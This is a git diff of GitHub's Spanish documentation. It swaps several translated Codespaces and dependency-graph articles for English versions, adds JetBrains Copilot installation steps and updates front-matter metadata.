La vista de dependencias de la gráfica de dependencias para un repositorio solo muestra 1000 manifiestos. Habitualmente, esto es tan adecuado como es significativamente más alto que el límite de procesamiento descrito anteriormente. En situaciones en donde le límite de procesamiento es mayor a 100, las {% data variables.product.prodname_dependabot_alerts %} se crearán aún para cualquier manifiesto que no se muestre dentro de {% data variables.product.prodname_dotcom %}.
|
||||
|
||||
**Check**: Is the missing dependency in a manifest file that's over 0.5 MB, or in a repository with a large number of manifests?
|
||||
**Comprobación**: ¿La dependencia que falta está en un archivo de manifiesto de más de 0,5 MB, o en un repositorio con una gran cantidad de manifiestos?
|
||||
|
||||
## Further reading
|
||||
## Información adicional
|
||||
|
||||
- "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)"
|
||||
- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"
|
||||
- "[Troubleshooting the detection of vulnerable dependencies](/code-security/dependabot/working-with-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes %}
|
||||
- "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %}
|
||||
- "[Acerca del gráfico de dependencias](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)"
|
||||
- "[Administración de la configuración de seguridad y análisis para el repositorio](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"
|
||||
- "[Solución de problemas de detección de dependencias vulnerables](/code-security/dependabot/working-with-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes %}
|
||||
- "[Solución de errores de {% data variables.product.prodname_dependabot %}](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %}
|
||||
|
||||
@@ -6,14 +6,13 @@ versions:
|
||||
ghec: '*'
|
||||
topics:
|
||||
- Codespaces
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
shortTitle: Private image registry
|
||||
ms.openlocfilehash: 653584296b5513b670c145f9fa2f092f5a9fdae8
|
||||
ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
|
||||
ms.openlocfilehash: c11cfe0179856caf17f30ac32830ee1485defa3c
|
||||
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/27/2022
|
||||
ms.locfileid: '148113893'
|
||||
ms.lasthandoff: 11/09/2022
|
||||
ms.locfileid: '148159209'
|
||||
---
|
||||
## Acerca de los registros de imagen y {% data variables.product.prodname_github_codespaces %}
|
||||
|
||||
|
||||
@@ -4,7 +4,6 @@ intro: 'This article describes guidance for a disaster recovery scenario, when a
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
topics:
|
||||
- Codespaces
|
||||
shortTitle: Disaster recovery
|
||||
|
||||
@@ -4,18 +4,18 @@ intro: 'Esta sección contiene referencias que te permitirán tener éxito con {
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
children:
|
||||
- /allowing-your-codespace-to-access-a-private-image-registry
|
||||
- /using-github-copilot-in-github-codespaces
|
||||
- /using-the-github-codespaces-plugin-for-jetbrains
|
||||
- /using-the-vs-code-command-palette-in-codespaces
|
||||
- /security-in-github-codespaces
|
||||
- /disaster-recovery-for-github-codespaces
|
||||
ms.openlocfilehash: 3e3ebc7b7222afcb9505e1f535975feadb9515a7
|
||||
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
|
||||
ms.openlocfilehash: 87692cd862e791f3e6ffa2be2b07f34c6158e617
|
||||
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 09/05/2022
|
||||
ms.locfileid: '147110846'
|
||||
ms.lasthandoff: 11/09/2022
|
||||
ms.locfileid: '148159201'
|
||||
---
|
||||
|
||||
|
||||
@@ -9,16 +9,87 @@ topics:
|
||||
- Codespaces
|
||||
- Copilot
|
||||
- Visual Studio Code
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
shortTitle: Copilot in Codespaces
|
||||
redirect_from:
|
||||
- /codespaces/codespaces-reference/using-copilot-in-codespaces
|
||||
- /codespaces/codespaces-reference/using-github-copilot-in-codespaces
|
||||
---
|
||||
|
||||
## Using {% data variables.product.prodname_copilot %}
|
||||
{% jetbrains %}
|
||||
|
||||
[{% data variables.product.prodname_copilot %}](https://copilot.github.com/), an AI pair programmer, can be used in any codespace. To start using {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_github_codespaces %}, install the [{% data variables.product.prodname_copilot %} extension from the {% data variables.product.prodname_vscode_marketplace %}](https://marketplace.visualstudio.com/items?itemName=GitHub.copilot). For more information about {% data variables.product.prodname_copilot %} setup and usage, see the [{% data variables.product.prodname_copilot %} documentation](/copilot).
|
||||
{% data reusables.codespaces.codespaces-jetbrains-beta-note %}
|
||||
|
||||
To include {% data variables.product.prodname_copilot %}, or other extensions, in all of your codespaces, enable Settings Sync. For more information, see "[Personalizing {% data variables.product.prodname_github_codespaces %} for your account](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account#settings-sync)." Additionally, to include {% data variables.product.prodname_copilot %} in a given project for all users, you can specify `GitHub.copilot` as an extension in your `devcontainer.json` file. For information about configuring a `devcontainer.json` file, see "[Introduction to dev containers](/codespaces/customizing-your-codespace/configuring-codespaces-for-your-project#creating-a-custom-dev-container-configuration)."
|
||||
{% endjetbrains %}
|
||||
|
||||
{% webui %}
|
||||
|
||||
## Using {% data variables.product.prodname_copilot %} in the {% data variables.product.prodname_vscode_shortname %} web client
|
||||
|
||||
{% data reusables.codespaces.copilot-in-vscode %}
|
||||
|
||||
{% endwebui %}
|
||||
|
||||
{% vscode %}
|
||||
|
||||
## Using {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}
|
||||
|
||||
{% data reusables.codespaces.copilot-in-vscode %}
|
||||
|
||||
{% endvscode %}
|
||||
|
||||
{% jetbrains %}
|
||||
|
||||
## Installing {% data variables.product.prodname_copilot %} in your JetBrains IDE
|
||||
|
||||
[{% data variables.product.prodname_copilot %}](https://copilot.github.com/), an AI pair programmer, can be used in any codespace. For more information, see "[About GitHub Copilot](/copilot/overview-of-github-copilot/about-github-copilot)."
|
||||
|
||||
To use {% data variables.product.prodname_copilot %} in a codespace in your JetBrains IDE, install the [{% data variables.product.prodname_copilot %} plugin](https://plugins.jetbrains.com/plugin/17718-github-copilot) from within your codespace.
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note**: You must install the {% data variables.product.prodname_copilot %} plugin each time you create a new codespace.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
1. In the JetBrains client application, open the Settings (Windows/Linux) or Preferences (Mac) dialog box:
|
||||
|
||||
- **Windows/Linux**: Click **File** and then **Settings** (or press <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>S</kbd>)
|
||||
- **Mac**: Click **JetBrains Client** in the MacOS menu bar, then click **Preferences** (or press <kbd>command</kbd>+<kbd>,</kbd>)
|
||||
|
||||
1. In the left-side menu of the Settings/Preferences dialog box, click **Plugins On Host**. Then click the **Marketplace** tab.
|
||||
|
||||
|
||||
|
||||
1. In the search box, type "copilot" then click the **Install** button for the {% data variables.product.prodname_copilot %} plugin.
|
||||
|
||||
|
||||
|
||||
1. Click **Accept** on the "Third-Party Plugins Privacy Note" dialog box.
|
||||
1. Click **Restart IDE**.
|
||||
|
||||
|
||||
|
||||
1. Click **Restart** when prompted to confirm that you want to restart the backend IDE that's running remotely. The JetBrains client application will close when you do this.
|
||||
1. Open the codespace again from the JetBrains Gateway application. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide#opening-a-codespace-in-your-jetbrains-ide)."
|
||||
1. After your JetBrains IDE has restarted, click the **Tools** menu. Click **{% data variables.product.prodname_copilot %}**, then click **Login to {% data variables.product.prodname_dotcom %}**.
|
||||
|
||||
|
||||
|
||||
1. In the "Sign in to {% data variables.product.prodname_dotcom %}" dialog box, to copy the device code and open the device activation window, click **Copy and Open**.
|
||||
|
||||
|
||||
|
||||
1. A device activation window will open in your browser. Paste the device code, then click **Continue**.
|
||||
|
||||
- To paste the code in Windows or Linux, press <kbd>Ctrl</kbd>+<kbd>v</kbd>.
|
||||
- To paste the code in macOS, press <kbd>command</kbd>+<kbd>v</kbd>.
|
||||
1. {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize {% data variables.product.prodname_copilot %} Plugin**.
|
||||
1. After the permissions have been approved, your JetBrains IDE will show a confirmation. To begin using {% data variables.product.prodname_copilot %}, click **OK**.
|
||||
|
||||
|
||||
|
||||
## Further reading
|
||||
|
||||
- "[Getting started with GitHub Copilot in a JetBrains IDE](/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide)"
|
||||
|
||||
{% endjetbrains %}
|
||||
@@ -8,7 +8,6 @@ type: reference
|
||||
topics:
|
||||
- Codespaces
|
||||
- Visual Studio Code
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
shortTitle: VS Code Command Palette
|
||||
allowTitleToDifferFromFilename: true
|
||||
redirect_from:
|
||||
@@ -35,7 +34,7 @@ You can access the {% data variables.product.prodname_vscode_command_palette_sho
|
||||
|
||||
To see all commands related to {% data variables.product.prodname_github_codespaces %}, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), then start typing "Codespaces".
|
||||
|
||||
|
||||
|
||||
|
||||
### Suspending or stopping a codespace
|
||||
|
||||
@@ -45,9 +44,9 @@ To suspend or stop your codespace's container, [access the {% data variables.pro
|
||||
|
||||
|
||||
|
||||
### Adding a dev container from a template
|
||||
### Adding a predefined dev container configuration
|
||||
|
||||
To add a dev container from a template, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), then start typing "dev container". Select **Codespaces: Add Development Container Configuration Files...**
|
||||
To add a predefined dev container configuration, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), then start typing "dev container". Select **Codespaces: Add Development Container Configuration Files...**
|
||||
|
||||
|
||||
|
||||
@@ -66,3 +65,7 @@ You can use the {% data variables.product.prodname_vscode_command_palette_shortn
|
||||
To retrieve the logs for {% data variables.product.prodname_github_codespaces %}, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), then start typing "log". Select **Codespaces: Export Logs** to export all logs related to {% data variables.product.prodname_github_codespaces %} or select **Codespaces: View Creation Logs** to view logs related to the setup.
|
||||
|
||||
|
||||
|
||||
## Further reading
|
||||
|
||||
- "[Using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)"
|
||||
|
||||
@@ -1,8 +1,7 @@
|
||||
---
|
||||
title: Cambiar el tipo de máquina de tu codespace
|
||||
title: Changing the machine type for your codespace
|
||||
shortTitle: Change the machine type
|
||||
intro: Puedes cambiar el tipo de máquina que ejecuta tu codespace para usar los recursos adecuados para el trabajo que estás llevando a cabo.
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
intro: 'You can change the type of machine that''s running your codespace, so that you''re using resources appropriate for the work you''re doing.'
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
@@ -11,30 +10,21 @@ redirect_from:
|
||||
topics:
|
||||
- Codespaces
|
||||
type: how_to
|
||||
ms.openlocfilehash: 618b031ce0c23c2b4eba52157fca2a6625fe3dfd
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148109827'
|
||||
---
|
||||
## Acerca de los tipos de máquina
|
||||
|
||||
## About machine types
|
||||
|
||||
{% data reusables.codespaces.codespaces-machine-types %} You can choose an alternative machine type either when you create a codespace or at any time after you've created a codespace.
|
||||
|
||||
For information on choosing a machine type when you create a codespace, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)."
|
||||
|
||||
{% data reusables.codespaces.machine-types-for-unpublished-codespaces %} For more information, see "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template)."
|
||||
|
||||
## Changing the machine type
|
||||
|
||||
{% note %}
|
||||
|
||||
**Nota:** Solo puedes seleccionar o cambiar el tipo de máquina si eres miembro de una organización que usa {% data variables.product.prodname_github_codespaces %} y vas a crear un codespace en un repositorio que pertenece a esa organización.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
{% data reusables.codespaces.codespaces-machine-types %} Puedes elegir un tipo de máquina alternativo al crear un codespace o en cualquier momento después de crearlo.
|
||||
|
||||
Para obtener información sobre cómo elegir un tipo de máquina al crear un codespace, vea "[Creación de un codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)".
|
||||
|
||||
## Cambio del tipo de máquina
|
||||
|
||||
{% note %}
|
||||
|
||||
**Nota**: {% data reusables.codespaces.codespaces-machine-type-availability %}
|
||||
**Note**: {% data reusables.codespaces.codespaces-machine-type-availability %}
|
||||
|
||||
{% endnote %}
|
||||
|
||||
@@ -42,18 +32,18 @@ Para obtener información sobre cómo elegir un tipo de máquina al crear un cod
|
||||
|
||||
{% data reusables.codespaces.your-codespaces-procedure-step %}
|
||||
|
||||
Se mostrará el tipo de máquina actual para cada uno de tus codespaces.
|
||||
The current machine type for each of your codespaces is displayed.
|
||||
|
||||
|
||||
|
||||
|
||||
1. Haga clic en los puntos suspensivos ( **…** ) situados a la derecha del codespace que quiera modificar.
|
||||
1. Haga clic en **Cambiar tipo de máquina**.
|
||||
{% data reusables.codespaces.ellipsis-settings %}
|
||||
1. Click **Change machine type**.
|
||||
|
||||
|
||||
1. Si hay varios tipos de máquina disponibles para tu codespace, elige aquella que quieras utilizar.
|
||||
|
||||
1. If multiple machine types are available for your codespace, choose the type of machine you want to use.
|
||||
|
||||
|
||||
1. Haga clic en **Actualizar codespace**.
|
||||
|
||||
1. Click **Update codespace**.
|
||||
|
||||
{% endwebui %}
|
||||
|
||||
@@ -65,39 +55,39 @@ Para obtener información sobre cómo elegir un tipo de máquina al crear un cod
|
||||
|
||||
{% cli %}
|
||||
|
||||
Puedes usar el comando `gh codespace edit --machine MACHINE-TYPE-NAME` {% data variables.product.prodname_cli %} para cambiar el tipo de equipo de un codespace. Para usar este comando, primero deberás averiguar cuáles son los tipos de máquina disponibles para el codespace.
|
||||
You can use the `gh codespace edit --machine MACHINE-TYPE-NAME` {% data variables.product.prodname_cli %} command to change the machine type of a codespace. To use this command, you'll first need to find out the available machine types for your codespace.
|
||||
|
||||
1. Para ver la lista de codespaces, escribe el comando siguiente en un terminal.
|
||||
1. To view your list of codespaces, in a terminal, enter the following command.
|
||||
|
||||
```
|
||||
gh codespace list
|
||||
```
|
||||
1. Opcionalmente, puedes escribir el comando siguiente para buscar el tipo de máquina actual para un codespace.
|
||||
1. Optionally, to find the current machine type for a codespace, enter the following command.
|
||||
|
||||
```
|
||||
gh api /user/codespaces/CODESPACE-NAME
|
||||
```
|
||||
|
||||
Reemplaza `CODESPACE-NAME` por el nombre permanente del codespace, por ejemplo, `octocat-myrepo-gmc7`. Los nombres permanentes aparecen en la columna **NAME** de la lista que devuelve `gh codespace list`.
|
||||
Replace `CODESPACE-NAME` with the permanent name of the codespace, for example `octocat-literate-space-parakeet-mld5`. The permanent names are listed under the **NAME** column in the list returned by `gh codespace list`.
|
||||
|
||||
Si se te pide que solicites el ámbito `codespace`, sigue las instrucciones del terminal.
|
||||
If you're prompted to request the `codespace` scope, follow the instructions in the terminal.
|
||||
|
||||
Los detalles de la máquina actual aparecen en el campo `machine`.
|
||||
1. Para buscar los tipos de máquina disponibles para un codespace, escribe el comando siguiente.
|
||||
Details for the current machine are listed under the `machine` field.
|
||||
1. To find the available machine types for a codespace, enter the following command.
|
||||
|
||||
```
|
||||
gh api /user/codespaces/CODESPACE-NAME/machines
|
||||
```
|
||||
|
||||
Reemplaza `CODESPACE-NAME` por el nombre permanente del codespace, por ejemplo, `octocat-myrepo-gmc7`.
|
||||
1. Para cambiar el tipo de máquina de un codespace, escribe el comando siguiente.
|
||||
Replace `CODESPACE-NAME` with the permanent name of the codespace, for example `octocat-literate-space-parakeet-mld5`.
|
||||
1. To change the machine type for a codespace, enter the following command.
|
||||
|
||||
```
|
||||
gh codespace edit --machine MACHINE-TYPE-NAME
|
||||
```
|
||||
|
||||
Reemplaza `MACHINE-TYPE-NAME` por el nombre de un tipo de máquina disponible para el codespace, por ejemplo, `standardLinux32gb`.
|
||||
1. Con las teclas de dirección, ve al codespace que quieres cambiar y presione <kbd>ENTRAR</kbd>.
|
||||
Replace `MACHINE-TYPE-NAME` with the name of an available machine type for your codespace, for example `standardLinux32gb`.
|
||||
1. Using the arrow keys, navigate to the codespace you want to change, then press <kbd>Enter</kbd>.
|
||||
|
||||
{% endcli %}
|
||||
|
||||
@@ -105,9 +95,9 @@ Puedes usar el comando `gh codespace edit --machine MACHINE-TYPE-NAME` {% data v
|
||||
|
||||
{% cli %}
|
||||
|
||||
## Información adicional
|
||||
## Further reading
|
||||
|
||||
- "[Máquinas de codespaces](/rest/codespaces/machines)" en la documentación de la API REST
|
||||
- [`gh codespace edit`](https://cli.github.com/manual/gh_codespace_edit) en el manual de {% data variables.product.prodname_cli %}
|
||||
- "[Codespaces machines](/rest/codespaces/machines)" in the REST API documentation
|
||||
- [`gh codespace edit`](https://cli.github.com/manual/gh_codespace_edit) in the {% data variables.product.prodname_cli %} manual
|
||||
|
||||
{% endcli %}
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
title: Configuring automatic deletion of your codespaces
|
||||
shortTitle: Configure automatic deletion
|
||||
intro: 'Inactive codespaces are automatically deleted. You can choose how long your stopped codespaces are retained, up to a maximum of 30 days.'
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
@@ -97,7 +96,7 @@ You can set your default retention period in your web browser, on {% data variab
|
||||
You can check, in the {% data variables.product.prodname_vscode %} desktop application, whether a codespace is due to be automatically deleted soon.
|
||||
|
||||
{% data reusables.codespaces.click-remote-explorer-icon-vscode %}
|
||||
1. Choose **{% data variables.product.prodname_github_codespaces %}** from the drop-down menu at the top right of the Remote Explorer, if it is not already selected.
|
||||
1. Choose **{% data variables.product.prodname_github_codespaces %}** from the dropdown menu at the top right of the Remote Explorer, if it is not already selected.
|
||||
1. Under "GITHUB CODESPACES," position the mouse pointer over the codespace that you're interested in. A pop-up box is displayed showing you information about the codespace.
|
||||
|
||||
If the codespace is nearing the end of its retention period, a line is included telling you when the codespace will be deleted.
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
---
|
||||
title: Personalizar tu codespace
|
||||
intro: '{% data variables.product.prodname_github_codespaces %} es un ambiente dedicado para ti. Puedes configurar tus repositorios con un contenedor de dev para definir su ambiente predeterminado de {% data variables.product.prodname_github_codespaces %} y personalizar tu experiencia de desarrollo a lo largo de tus codespaces con dotfiles y sincronización de ajustes.'
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
@@ -17,11 +16,11 @@ children:
|
||||
- /setting-your-default-region-for-github-codespaces
|
||||
- /setting-your-timeout-period-for-github-codespaces
|
||||
- /configuring-automatic-deletion-of-your-codespaces
|
||||
ms.openlocfilehash: a986d300c7c584225cbf2505b284276f7e6511d1
|
||||
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
|
||||
ms.openlocfilehash: cae6a1caddb91bbc8d67657591be0c0f14af4a56
|
||||
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 09/05/2022
|
||||
ms.locfileid: '147110757'
|
||||
ms.lasthandoff: 11/09/2022
|
||||
ms.locfileid: '148159129'
|
||||
---
|
||||
|
||||
|
||||
@@ -15,7 +15,6 @@ topics:
|
||||
- Codespaces
|
||||
- Set up
|
||||
- Fundamentals
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
---
|
||||
|
||||
|
||||
@@ -23,7 +22,7 @@ product: '{% data reusables.gated-features.codespaces %}'
|
||||
|
||||
When using any development environment, customizing the settings and tools to your preferences and workflows is an important step. {% data variables.product.prodname_github_codespaces %} allows for two main ways of personalizing your codespaces.
|
||||
|
||||
- [Settings Sync](#settings-sync) - You can use and share {% data variables.product.prodname_vscode %} settings between {% data variables.product.prodname_github_codespaces %} and other instances of {% data variables.product.prodname_vscode %}.
|
||||
- [Settings Sync](#settings-sync) - You can synchronize your {% data variables.product.prodname_vscode %} settings between the desktop application and the {% data variables.product.prodname_vscode_shortname %} web client.
|
||||
- [Dotfiles](#dotfiles) – You can use a `dotfiles` repository to specify scripts, shell preferences, and other configurations.
|
||||
|
||||
{% data variables.product.prodname_github_codespaces %} personalization applies to any codespace you create.
|
||||
@@ -32,13 +31,13 @@ Project maintainers can also define a default configuration that applies to ever
|
||||
|
||||
## Settings Sync
|
||||
|
||||
Settings Sync allows you to share configurations such as settings, keyboard shortcuts, snippets, extensions, and UI state across machines and instances of {% data variables.product.prodname_vscode %}.
|
||||
Settings Sync allows you to synchronize configurations such as settings, keyboard shortcuts, snippets, extensions, and UI state across machines and instances of {% data variables.product.prodname_vscode_shortname %}.
|
||||
|
||||
To enable Settings Sync, in the bottom-left corner of the Activity Bar, select {% octicon "gear" aria-label="The gear icon" %} and click **Turn on Settings Sync…**. In the dialog box, select the settings you'd like to sync.
|
||||
To enable Settings Sync, in the bottom-left corner of {% data variables.product.prodname_vscode %}'s Activity Bar, select {% octicon "gear" aria-label="The gear icon" %} and click **Turn on Settings Sync…**. In the dialog box, select the settings you'd like to sync.
|
||||
|
||||
|
||||
|
||||
For more information, see the [Settings Sync guide](https://code.visualstudio.com/docs/editor/settings-sync) in the {% data variables.product.prodname_vscode %} documentation.
|
||||
For more information, see the [Settings Sync guide](https://code.visualstudio.com/docs/editor/settings-sync) in the {% data variables.product.prodname_vscode_shortname %} documentation.
|
||||
|
||||
## Dotfiles
|
||||
|
||||
@@ -65,7 +64,7 @@ Any changes to your selected dotfiles repository will apply only to each new cod
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note:** Currently, {% data variables.product.prodname_github_codespaces %} does not support personalizing the _User_ settings for the {% data variables.product.prodname_vscode %} editor with your `dotfiles` repository. You can set default _Workspace_ and _Remote [Codespaces]_ settings for a specific project in the project's repository. For more information, see "[Introduction to dev containers](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#creating-a-custom-dev-container-configuration)."
|
||||
**Note:** Currently, {% data variables.product.prodname_codespaces %} does not support personalizing the User-scoped settings for {% data variables.product.prodname_vscode_shortname %} with your `dotfiles` repository. You can set default Workspace and Remote [Codespaces] settings for a specific project in the project's repository. For more information, see "[Introduction to dev containers](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#creating-a-custom-dev-container-configuration)."
|
||||
|
||||
{% endnote %}
|
||||
|
||||
@@ -96,10 +95,11 @@ You can also personalize {% data variables.product.prodname_github_codespaces %}
|
||||
|
||||
- To enable GPG verification, see "[Managing GPG verification for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces)."
|
||||
- To set your editor, see "[Setting your default editor for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces)."
|
||||
- To set how long a codespace can remain unused before it is automatically stopped, see "[Setting your timeout period for GitHub Codespaces](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)."
|
||||
- To set how long a codespace can remain unused before it is automatically stopped, see "[Setting your timeout period for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)."
|
||||
- To set the period for which your unused codespaces are retained, see "[Configuring automatic deletion of your codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)."
|
||||
- To set your default region, see "[Setting your default region for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces)."
|
||||
|
||||
## Further reading
|
||||
|
||||
* "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository)"
|
||||
* "[Deep dive into {% data variables.product.prodname_github_codespaces %}](/codespaces/getting-started/deep-dive#personalizing-your-codespace-with-extensions-or-plugins)"
|
||||
@@ -1,7 +1,6 @@
|
||||
---
|
||||
title: Cambio del nombre de un codespace
|
||||
intro: 'Puedes usar {% data variables.product.prodname_cli %} para cambiar el nombre para mostrar del codespace a uno de los que prefieras.'
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
title: Renaming a codespace
|
||||
intro: 'You can change the codespace display name to one of your choice through {% data variables.product.prodname_dotcom_the_website %} or the {% data variables.product.prodname_cli %}.'
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
@@ -11,53 +10,69 @@ topics:
|
||||
- Fundamentals
|
||||
- Developer
|
||||
shortTitle: Rename a codespace
|
||||
ms.openlocfilehash: 58e5e9584df07e8e6abba3f1cfac5d0b3234c01a
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148107089'
|
||||
---
|
||||
## Acerca del cambio del nombre de un codespace
|
||||
|
||||
A cada codespace se le asigna un nombre para mostrar generado automáticamente. Si tienes varios codespaces, el nombre para mostrar te ayuda a diferenciar entre ellos. Por ejemplo: `literate space parakeet`. Puedes cambiar el nombre para mostrar del codespace.
|
||||
## About renaming a codespace
|
||||
|
||||
Para encontrar el nombre para mostrar de un codespace:
|
||||
Each codespace is assigned an auto-generated display name. If you have multiple codespaces, the display name helps you to differentiate between codespaces. For example: `literate space parakeet`. You can change the display name for your codespace.
|
||||
|
||||
- En {% data variables.product.product_name %}, consulta la lista de codespaces en https://github.com/codespaces.
|
||||
To find the display name of a codespace:
|
||||
|
||||
|
||||
- On {% data variables.product.product_name %}, view your list of codespaces at https://github.com/codespaces.
|
||||
|
||||
- En la aplicación de escritorio {% data variables.product.prodname_vscode %} o el cliente web {% data variables.product.prodname_vscode_shortname %}, haz clic en el Explorador remoto. El nombre para mostrar se muestra debajo del nombre del repositorio. Por ejemplo: `symmetrical space telegram` en la captura de pantalla siguiente.
|
||||
|
||||
|
||||
|
||||
- In the {% data variables.product.prodname_vscode %} desktop application, or the {% data variables.product.prodname_vscode_shortname %} web client, click the Remote Explorer. The display name is the second item in the list. For example: `symmetrical space telegram` in the screenshot below.
|
||||
|
||||
|
||||
|
||||
{% indented_data_reference reusables.codespaces.remote-explorer spaces=2 %}
|
||||
- En una ventana de terminal de la máquina local, usa este comando de {% data variables.product.prodname_cli %}: `gh codespace list`.
|
||||
- In a terminal window on your local machine, use this {% data variables.product.prodname_cli %} command: `gh codespace list`.
|
||||
|
||||
### Nombres permanentes de codespace
|
||||
### Permanent codespace names
|
||||
|
||||
Además del nombre para mostrar, al crear un codespace, también se le asigna un nombre permanente. El nombre es una combinación de tu identificador de {% data variables.product.company_short %}, el nombre del repositorio y algunos caracteres aleatorios. Por ejemplo: `octocat-myrepo-gmc7`. No se puede cambiar este nombre.
|
||||
In addition to the display name, when you create a codespace, a permanent name is also assigned to the codespace. The name is a combination of your {% data variables.product.company_short %} handle, and the auto-generated display name. For example: `octocat-literate-space-parakeet-mld5`. You can't change the permanent name.
|
||||
|
||||
Para encontrar el nombre de un codespace:
|
||||
To find the permanent name of a codespace:
|
||||
|
||||
* En {% data variables.product.product_name %}, el nombre permanente se muestra en un elemento emergente al mantener el puntero sobre la opción **Abrir en el explorador** en https://github.com/codespaces.
|
||||
* On {% data variables.product.product_name %}, the permanent name is shown in a pop-up when you hover over the display name of a codespace on https://github.com/codespaces.
|
||||
|
||||
|
||||
|
||||
|
||||
* En un codespace, use este comando en el terminal: `echo $CODESPACE_NAME`.
|
||||
* En una ventana de terminal de la máquina local, usa este comando de {% data variables.product.prodname_cli %}: `gh codespace list`.
|
||||
* In a codespace, use this command in the terminal: `echo $CODESPACE_NAME`.
|
||||
* In a terminal window on your local machine, use this {% data variables.product.prodname_cli %} command: `gh codespace list`.
|
||||
|
||||
## Cambio del nombre de un codespace
|
||||
## Renaming a codespace
|
||||
|
||||
Cambiar el nombre para mostrar de un codespace puede ser útil si tienes varios codespaces que vas a usar durante un período prolongado. Un nombre adecuado te ayuda a identificar un codespace que se usa para un propósito determinado. Puedes cambiar el nombre para mostrar de tu codespace mediante {% data variables.product.prodname_cli %}.
|
||||
Changing the display name of a codespace can be useful if you have multiple codespaces that you will be using for an extended period. An appropriate name helps you identify a codespace that you use for a particular purpose.
|
||||
|
||||
Para cambiar el nombre de un codespace, usa el subcomando `gh codespace edit`:
|
||||
{% cli %}
|
||||
|
||||
You can change the display name for your codespace by using the {% data variables.product.prodname_cli %}.
